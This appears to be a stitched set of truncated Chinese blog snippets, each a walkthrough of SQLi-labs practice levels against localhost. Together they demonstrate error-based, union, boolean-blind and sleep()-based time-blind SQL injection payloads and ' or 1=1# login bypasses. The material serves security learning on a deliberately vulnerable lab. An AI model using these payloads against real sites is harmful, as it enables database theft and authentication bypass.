加and http://localhost/sqli/Less-9/?id=1' and '1'='1%23 http://localhost/sqli/Less-9/?id=1' and '1'='2%23 页面没有变化,一瞬间没弄懂了,看了下源码 发现无论查询的结果是什么,显示都不会有区别 学习一个函数 sleep(n)      休眠n秒 5秒后出现结果 和less8一样是盲注漏洞,构造请求 如果数据库名的第一个字符的ascii码不等于114 则休眠5s http://localhost/…
加单引号 没有任何信息输出 加and 页面变化,不正常是没有任何回显 http://localhost/sqli/Less-8/?id=1' and '1'='1 http://localhost/sqli/Less-8/?id=1' and '1'='2 出错也没有回显,考虑盲注,即通过不同请求页面的变化来作出判断 首先学习几个函数 length(str) 返回字符串的长度 if(a, b, c) 若条件a为真,返回b,否则返回c substr(str, pos, len) 从pos位置起截取…
这个和less9一样,单引号改完双引号就行了 http://localhost/sqli/Less-10/?id=1" and sleep(5)%23 5s后页面完成刷新 http://localhost/sqli/Less-10/?id=1" and if(ascii(substr(database(),1,1))=115, 0, sleep(5))%23…
查看源码,用户名和密码通过post提交 加单引号提交 出现报错,推测对应的SQL语句 , 直接使用or构造永真登录 成功,注意此处登录的用户为表中的第一个用户 需要改变用户可以通过改变筛选条件实现 作为表中的第二个用户登录 如果在客户端进行了敏感字符的输入限定,可以直接使用hackbar提交POST数据绕过 如果采用构造这种输入,登录会失败,原因是因为and的优先级是高于or的 yyy='test'返回false然后and运算仍为false, xxx='1' or false结果为false 也…
错误不回显了 构造永真登陆 登陆成功了 虽然登陆成功了,但是数据库的数据还么有爆出来 构造一下用户名 ' or length(database())=8# 如果数据库名的长度不等于8,登陆会失败 猜测数据库名第一个字符是否为's',是则登陆成功 ' or ascii(substr(database(),1,1))=115#…
实质上和less1没有多大区别,看懂了一样走流程 提交参数 加单引号 http://localhost/sqli/Less-3/?id=1' 观察报错,看near 和 at 的引号之间内容 '1'') LIMIT 0,1 1后面有一个 ' 是我们添加的,于是正常的sql语句应该是 select ... from ... where xx=('1') limit 0,1 于是构造 select ... from ... where xx=('1')#') limit 0,1 对应的GET请求为 h…
GET方式提交id参数 添加单引号,出现报错,爆出数据库名称和部分SQL语句 http://localhost/sqli/Less-1/?id=1' 使用order by猜测字段数,用#注释掉后面limit 0,1语句 http://localhost/sqli/Less-1/?id=1' order by 1# 字符#浏览器不会编码可以手动编码%23 http://localhost/sqli/Less-1/?id=1' order by 1%23 order by 4时页面不正常,推测字段数…
一.第一次见面 1.初识 http://localhost/Less-1/ 提示输入id,因此访问http://localhost/Less-1/?id=1 可以继续测试id=2.3.4等的情况,会输出不同的用户名和密码 2.进一步了解 每一次都会有不同的账号密码出来,当然肯定不能这样简单的访问. 既然题目说了存在单引号的错误,那就来试一下http://localhost/Less-1/?id=%27 没毛病报错了,说明单引号会被算入sql语句中 假设一下,这个sql语句是这样构造的: $sql…
' or 1=1# -->失败 1" or 1=1# -->失败 1') or 1=1# -->失败 1") or 1=1# -->成功 判断为双引号变形注入 利用sleep函数判断数据库名长度 ") ,,sleep())# 延时确实出现了,但不是5s 在数据库中执行一下 + users表中有13条数据,where进行条件匹配时由于sleep(5)返回了1(true)所以寻找username=‘1’,即where后面的条件执行了13次,延时65s 所以…
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试一试) Less-1: 提示参数是id,值为数字. 先测试是字符型还是字符串型: ?id=1 and 1=2--%20 ?id=1' and 1=2--%20 结果证明是字符串型. 然后一系列常规操作,order by 3为上限. payload: ?id=100' union select 1,u…